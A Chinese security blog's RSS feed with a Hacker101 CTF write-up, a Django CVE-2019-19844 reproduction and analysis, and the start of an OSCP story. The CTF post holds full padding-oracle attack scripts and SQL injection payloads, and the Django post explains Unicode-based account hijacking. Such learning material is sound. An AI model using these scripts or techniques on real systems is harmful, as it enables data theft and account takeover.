投稿 – 若水斋 https://blog.werner.wiki Try harder Tue, 07 Jan 2020 14:15:37 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 投稿 – 若水斋 https://blog.werner.wiki 32 32 Hacker101 CTF Encrypted Pastebin write-up https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/ https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/#comments Tue, 07 Jan 2020 14:14:10 +0000 https://blog.werner.wiki/?p=1032

首发于先知社区

背景介绍

Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。

本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。

本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。

若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。

题目描述

题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。

打开题目后看到一个Web页面,如下图所示:

题目Web页面1

提示文本是:

We’ve developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。

我们输入Title1,内容也为1,然后点击Post按钮,页面跳转到了:

http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~

观察这个URL,看到路径没有变,只是多了post参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:

题目Web页面2

这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。

根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。

Flag 1

一开始毫无思路,便想着输入异常数据试图引发错误。将post参数的值修改为1,提交后结果出乎意料,直接得到了一个flag,如下图所示。

flag1

在报错中我们看到了服务器是如何解码post参数的:

b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))

其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post参数后,调用一个名为decryptLink的函数解密它,解密后按UTF-8解码,并以json格式解析:

post = json.loads(decryptLink(postCt).decode('utf8'))

从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。

Flag 2

报错1

现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink解密时报错的数据。我们知道了如何解码post参数,便也就知道了如何编码post参数。提交post参数为MTix(一个有效的base64编码),这次报错为:

报错1

通过这个报错,我们看到了decryptLink函数中有一行代码的内容是:

cipher = AES.new(staticKey, AES.MODE_CBC, iv)

看来加解密post参数使用的密钥是静态的(staticKey)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post参数中提取的。

报错2

现在考虑触发新的报错,将16个*编码,结果为:

KioqKioqKioqKioqKioqKg~~

提交此参数,成功触发了新的报错,如下图所示。

报错2

从这个报错中我们看到了decryptLink函数的最后一行代码,内容是:

return unpad(cipher.decrypt(data))

报错说string index out of range,应该是提交的post参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad操作,看函数名其功能应该是去掉填充(pad)。

报错3

再尝试触发新的报错,将32个*编码,结果为:

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~

提交此参数,成功触发了新的报错,如下图所示。

报错3

这次的报错中出现了耐人寻味的PaddingException,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。

import base64
import requests

def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))

def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')

def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1)
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]

def padding_oracle(real_iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            if test(url, encode(iv+data)):
                plains = bytes([(16-index) ^ iv[index]]) + plains
                index -= 1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
    return bxor(real_iv, plains)

if __name__ == '__main__':
    post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
    url = 'http://35.190.155.168/fc2fd7e530/'

    i = 1
    plains = bytes()
    data = decode(post)
    length = len(data)
    while True:
        if i*16 < length:
            iv = data[(i-1)*16: i*16]
            plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
        else:
            break
        i += 1
    print(plains)

运行这个脚本,花了大约1个小时才解出明文是:

{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n

至此拿到了第二个flag。

Flag 3

观察解出的明文,发现它是json格式的,共有三个键,第一个是flag,应该纯粹为CTF服务,没有实际意义;第二个是id,值为3;第三个是key,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post参数却是失败的,看来是其他地方的密钥了。

我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id3改成其他值,比如1。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')时会触发UnicodeDecodeError错误。

为了避免UnicodeDecodeError错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。

控制第一个分组明文的原理

然而id出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:

{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

然后再设计我们想要的明文:

{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

对比可知完全抛弃了前5个分组,只保留了后5个分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:

post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):]    # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)]    # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6)    # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"')    # 计算出合适的IV
print(encode(iv+data))

运行该代码计算出对应post参数为:

11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,没有成功查询出id1的条目,但成功拿到了新的flag,如下图。

flag3

通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。

Flag 4

继续设法触发新的报错,试试SQL注入。构造如下的明文,把id的值设置为单引号:

{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

计算出对应post为:

11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。

SQL报错

但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。

多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。

原理

如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value,在CBC模式中Intermediary Value和IV或上一块密文异或得到Decrypted Value。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value,用Intermediary Value异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value,用Intermediary Value异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。

看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。

首先构造明文:

{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA

SQL注入1

得到数据库名为level3

接着构造明文:

{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入2

得到数据库level3中有表poststracking,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:

{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~

SQL注入3

得到表tracking有列idheadersid里应该没有实际数据,所以我们试图查询出headers。为此构造明文:

{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入4

成功的查出了所有的headers,但其中没有flag。观察数据,看到headers应该是http的头部,其中也包含post参数,都试一试,发现第一个post参数可以解出一个新的flag,如下图。

flag4

至此,拿到了全部的4个flag。

总结

先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。

这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。

附录

生成解密出任意指定明文的密文的Python脚本:

import base64
import requests

def trans(s):
    return "b'%s'" % ''.join('\\x%.2x' % x for x in s)


def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))


def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')


def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result


def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        print(r.url)
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1) 
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]


def padding_oracle_decrypt(url, data):
    print('破解数据:{}'.format(data))
    index = 15
    intermediary = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            print('尝试初始向量:{}'.format(trans(iv)))
            if test(url, encode(iv+data)):
                intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
                index -= 1
                tail = bytes([temp ^ (16-index) for temp in intermediary])
                break
    return intermediary


def pad(data, block_size):
    """按PKCS#5填充"""
    amount_to_pad = block_size - (len(data) % block_size)
    if amount_to_pad == 0:
        amount_to_pad = block_size
    pad = bytes([amount_to_pad])
    return data + pad * 16


if __name__ == '__main__':
    url = 'http://35.190.155.168/fc2fd7e530/'
    post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
    ciphertext = decode(post)[16*6:16*7]
    immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])

    plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
    data = pad(plains.encode('utf-8'), 16)
    block_amount = int(len(data) / 16)
    index = block_amount
    while True:
        block = data[(index-1)*16: index*16]
        print('处理块:')
        print(block)
        iv = bxor(immediate, block)
        ciphertext = iv + ciphertext
        index -= 1
        if index > 0:
            immediate = padding_oracle_decrypt(url, iv)
        else:
            break
    print(encode(ciphertext))
]]>
https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/feed/ 2
Django重置密码漏洞(CVE-2019-19844)复现和分析 https://blog.werner.wiki/poc-of-cve-2019-19844/ https://blog.werner.wiki/poc-of-cve-2019-19844/#comments Tue, 31 Dec 2019 11:30:42 +0000 https://blog.werner.wiki/?p=1084

首发于安全客

前言

CVE-2019-19844是Django重置密码功能的一个漏洞。Django的密码重置表单使用不区分大小写的查询来获取输入的邮箱地址对应的账号。一个知道邮箱地址和账号对应关系的攻击者可以精心构造一个和该账号邮箱地址不同,但经过Unicode大小写转换后相同的邮箱地址,来接收该账户的密码重置邮件,从而实现账户劫持的攻击目标。1

本文较为详细地记录了该漏洞的复现过程,简要分析了漏洞成因,讨论了攻击所需的条件。

复现

基于Python 3.6.0,Django 3.0.0和MariaDB 10.4.11复现漏洞。

准备环境

首先安装Python 3.6.0和MariaDB 10.4.11,然后安装有漏洞的Django版本3.0.0:

pip install django==3.0.0

全部安完后创建数据库cve_2019_19844_test

MariaDB [(none)]> CREATE DATABASE cve_2019_19844_test;

新建Django项目cve_2019_19844_test

django-admin startproject cve_2019_19844_test

需对项目cve_2019_19844_test的配置文件setting.py做一些修改。将LANGUAGE_CODEzh-hans,这样Django就会显示汉语界面了。修改数据库相关配置为使用MariaDB:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'cve_2019_19844_test',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': 'localhost',
        'PORT': '3306',
    }
}

在文件末尾添加发送邮件相关的配置,示例如下。

EMAIL_USE_SSL = True
EMAIL_HOST = 'smtp.qq.com'  # 如果是 163 改成 smtp.163.com
EMAIL_PORT = 465
EMAIL_HOST_USER = 'xxx@qq.com' # 帐号
EMAIL_HOST_PASSWORD = 'p@ssw0rd'  # 密码
DEFAULT_FROM_EMAIL = EMAIL_HOST_USER

为使用MariaDB做数据库,还需在__init__.py中添加:

import pymysql
pymysql.install_as_MySQLdb()

接着执行以下命令创建数据表:

python manage.py migrate

然后创建一个用户,用户名是werner,邮箱地址是i@werner.wiki

python manage.py createsuperuser

创建用户

启动Web服务:

python manage.py runserver

在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。

Django登录页面

Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py,引入一些url配置。修改后的urls.py如下所示。

from django.contrib import admin
from django.urls import path
from django.urls import include    # 此行是新增的

urlpatterns = [
    path('admin/', admin.site.urls),
    path('accounts/', include('django.contrib.auth.urls')),    # 此行是新增的
]

然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。

Django重置密码页面

根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。

输入邮箱i@werner.wiki测试一下,成功收到了密码重置邮件,如下图所示。

Django重置密码邮件

点击其中的链接就可以重置密码了。至此,环境准备完毕。

复现漏洞

根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。

大小写转换不可逆的示例

在准备环境时我们填写的用户邮箱是i@werner.wiki,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı(假设这个域名存在),然后搭建邮件服务器,设置邮箱i@werner.wikı,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。

发出密码重置邮件

勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki呢?因为@werner.wiki使用的邮件系统不支持地址中包含ı。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı是不存在的。但攻击者任然可能成功攻击,比如被攻击的是xxx@baidu.com,攻击者就可以构造xxx@baıdu.com。从阿里云查询到域名baıdu.com还没有被注册。

注册域名

分析

问题代码

通过阅读修复此漏洞的commit4可以找到和该漏洞相关的代码5如下所示:

    def get_users(self, email):
        """Given an email, return matching user(s) who should receive a reset.
        这里的email就是重置密码表单中用户填写的邮箱地址
        """
        active_users = UserModel._default_manager.filter(**{
            '%s__iexact' % UserModel.get_email_field_name(): email,
            'is_active': True,
        })
        return (u for u in active_users if u.has_usable_password())

在我们的复现中UserModel.get_email_field_name()返回值是email,也就是说重置密码功能是通过如下的语句查询用户的:

active_users = UserModel._default_manager.filter(email__iexact=email, is_active=True)

注意在查询邮箱地址时使用了iexact,不区分大小写。我们在Django shell中测试一下,用如下语句确实可以查询到用户:

UserModel._default_manager.filter(email__iexact='i@werner.wikı', is_active=True)

截图如下。

在shell中复现漏洞

那么去掉iexact是否可以呢?测试发现是可以的,截图如下。

区分大小写也可以复现漏洞

这是因为MariaDB数据库默认不区分大小写。我们在创建MariaDB数据库时没有指定COLLATE,便取了默认值utf8_genera_ci,其中ci的含义是case insensitive。若在创建数据库时指定COLLATEutf8_bin(将字符串中的每一个字符用二进制数据存储,区分大小写):

CREATE DATABASE cve_2019_19844_test DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;

再重复上面的测试,发现不管有没有iexact都无法复现漏洞。此外,若是使用sqlite做数据库就无法复现漏洞,而使用PostgreSQL却可以复现漏洞。这么想来这一漏洞的真正成因是数据库特性。

将数据库改回可以复现漏洞的状态,开启MariaDB的SQL日志6,记录到Django实际执行的SQL语句是:

Django实际执行的SQL语句

复制这个语句将它粘贴到MariaDB控制台中执行,发现果然能查到数据,如下图所示。

在控制台中执行SQL语句

MariaDB是运行在Windows上的,一开始我在CMD中登录MariaDB控制台,执行上述SQL语句发现查询不出数据,使用chcp命令将CMD编码改为UTF-8也不行。后来在Linux中登录MariaDB控制台(连接的还是运行在Windows上的同一个MariaDB)测试成功。

总结漏洞成因:Django发送重置密码邮件时会发送到用户输入的邮箱地址,而不是从数据库中查询出的邮箱地址。Django重置密码功能没有特殊处理Unicode字符串。某些数据库(在某种配置下)进行字符串匹配时不区分大小写,会自动进行Unicode大小写转换。Unicode大小写转换不是简单的一对一关系,而是复杂的多对多关系。某些不是英文字母的Unicode字符在进行大小写转换后会变成英文字母,攻击者输入特殊构造的含有这种字符的邮箱地址便可以接收到特定账户的密码重置邮件。

可利用的Unicode大小写转换

似乎若某个Unicode字符本身不是英文字母,但在经过大小写转换后会变成一个或多个英文字母,那么这个Unicode大小写转换就是可以利用的。现在我们想做的是找出所有可利用的Unicode大小写转换。诚然,一个小写字母的大写字母是什么和一个大写字母的小写字母是什么应该由自然语言决定,但在计算机领域,这种转换关系被定义成了几张映射表:一个字母对一个字母的大小写转换映射定义在UnicodeData.txt中,一个字母对多个字母的大小写转换映射定义在SpecialCasing.txt7。遍历这几张映射表,找到了如下表所列的可能可以利用的Unicode大小写转换。

字符 Unicode编码 转换 转后字母 转换后字母编码
ı U+0131 大写 I U+0073
ſ U+017F 大写 S U+0083
ß U+00DF 大写 SS U+0053 U+0053
U+FB00 大写 FF U+0046 U+0046
U+FB01 大写 FI U+0046 U+0049
U+FB02 大写 FL U+0046 U+004C
U+FB03 大写 FFI U+0046 U+0046 U+0049
U+FB04 大写 FFL U+0046 U+0046 U+004C
U+FB05 大写 ST U+0053 U+0054
U+FB06 大写 ST U+0053 U+0054
U+212A 小写 k U+0083

但进一步测试发现,只有前两行,一个字母对一个字母的大写转换是可以利用的。例如把用户邮箱改为ss@werner.wiki,用ß@werner.wiki查询不出来。

一对多映射无法复现漏洞

这应该和MariaDB的底层实现有关,超出了本文范围,按下不表。

如何修复

Django做了两处改动来修复这个漏洞1

  1. 从数据库检索出可能匹配的帐户列表后,再使用专门的Unicode字符串比较函数来比较用户输入的邮箱地址和数据库中检索出的邮箱地址是否相等。这样无论后端使用怎样的数据库都避免了这一漏洞。
  2. 在发送重置密码邮件时,发送到数据库中检索出的邮箱地址,不再发送到用户输入的邮箱地址。这样攻击者就算能绕过Unicode字符串比较函数的检查也无法接收到密码重置邮件。

利用条件

为利用这一漏洞,至少需满足以下条件:

  • Django启用了找回密码功能(默认未启用);
  • 使用的数据库配置为不区分Unicode大小写;
  • 攻击者知道被攻击账户的邮箱地址;
  • 被攻击账户的邮箱地址中要含有字母i或s;
  • 被攻击账户的邮箱系统要支持非ASCII字符的地址且攻击者可以任意注册或可利用的域名存在且没有被注册。

所以在现实世界中这一漏洞可能很难利用,故而危害较低。

总结

原以为这是一个很简单的漏洞,结果花了好几天时间才勉强强复现了这个漏洞,大致搞懂了漏洞成因。

虽然这一漏洞很难利用,但它具有启发意义:若是编程语言中没有特殊处理Unicode字符串而数据库不区分Unicode大小写,那么便可能可以使用ıſ绕过某些安全措施。

更新

(2020年1月4日)在前文中我们说明了Mysql的utf8_genera_ci字符串进行比较时,会忽略大小写,如认为ıiI相等,利用此特性可以实施账号劫持攻击,但实际上Mysql也认为不同语言中的“同一个”字母相同,如认为英语中字母a、瑞典语中字母å、拉脱维亚语中字母ā和立陶宛语中字母ą都相同。一个简单的试验如下图所示。

每个英文字母都有至少一个其他语言中的对应字母8,但可惜的是这一特性无法在Django找回密码中利用,因为像ådmin@werner.wiki这样的邮箱地址是通不过校验的。归根结底是因为Python正则即使设置了re.IGNORECASE也不会认为aå相等,但却会认为ıi相等,å有自己的大写字母是Å,如下图。

]]>
https://blog.werner.wiki/poc-of-cve-2019-19844/feed/ 3
密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
我是如何拿到OSCP认证的? https://blog.werner.wiki/how-did-i-get-oscp/ https://blog.werner.wiki/how-did-i-get-oscp/#comments Thu, 17 Oct 2019 11:52:56 +0000 https://blog.werner.wiki/?p=825

首发于《安全客》。因为我希望更多的人看到这篇文章,知道刻意练习理论。

本文假设读者知道OSCP是什么。若不知道,请先阅读《Offensive Security Certified Professional (OSCP) Overview》。

我是怎么想到要考OSCP的?

我们知道要学习一样东西,一种很好的方法便是阅读官方文档。有一天忽然想到可以找找Kali的官方文档,找来找去就找到了OSCP(它们同属Offensive Security)。这是我第一次认真地了解什么是OSCP,如何才能拿到OSCP认证。当了解到OSCP的考试方式是实际攻击指定的5台靶机时觉得十分有趣,便挺想考的。但至少800美元和30天时间的代价使得我没有立刻下定决心。

真正下定决心是在一段时间之后,2019年5月4日。那天下午我忽然就想要去爬塘朗山。我住在塘朗山附近已经两个月了,还从没爬过。出地铁站后发现在下雨,不过雨不大, 我也带了伞,就没有放弃。塘朗山的登山道很陡峭,被雨水浸湿的石头很滑,我一手撑着伞,一手抓着护栏,一个人在渐渐昏暗的天色中小心翼翼地爬着。一路上很少遇到别人,仿佛世界上只剩下我一个人,这样的环境最适合思考人生。

我想起了初中,想起了高中,想起了大学,想起了那些陪伴我的数学题,物理题和课程设计。过往的人生在跌跌撞撞中度过,全都回忆完时我才爬了一小半。时间过得飞快,一转眼我毕业都快一年了。这一年来有什么长进呢?要说长进还是有一点的,但远不及预期。忽然想到若是我刚毕业就准备OSCP考试,到现在一定早就考过了。曾有一个同学和我说:种一棵树最好的时间是十年前,其次是现在。同样的道理,若是我现在开始准备OSCP考试,要花多久呢?一个月,两个月还是半年?不管是一个月还是半年,在回忆中都只是一瞬。至于费用,更不是问题,虽然我工资不高,但生活得即为节俭,攒几个月便可以凑齐报名费。

但还有一个更大的阻碍摆在我面前,那便是OSCP是全英文的,而我的英语学得很差。差到什么程度呢,高中时英语考试很少及格,到大四时才通过四级考试。英语可以是我放弃的理由吗?我一边爬山一边在心里盘算,为了OSCP我总共需要再背多少个单词,每天需要背多少个,总共需要背多久。最后不知道哪里来的勇气就觉得英语应该不是问题,只要在真正报名OSCP前先背几个月单词就可以了。几个月也只是一瞬间。

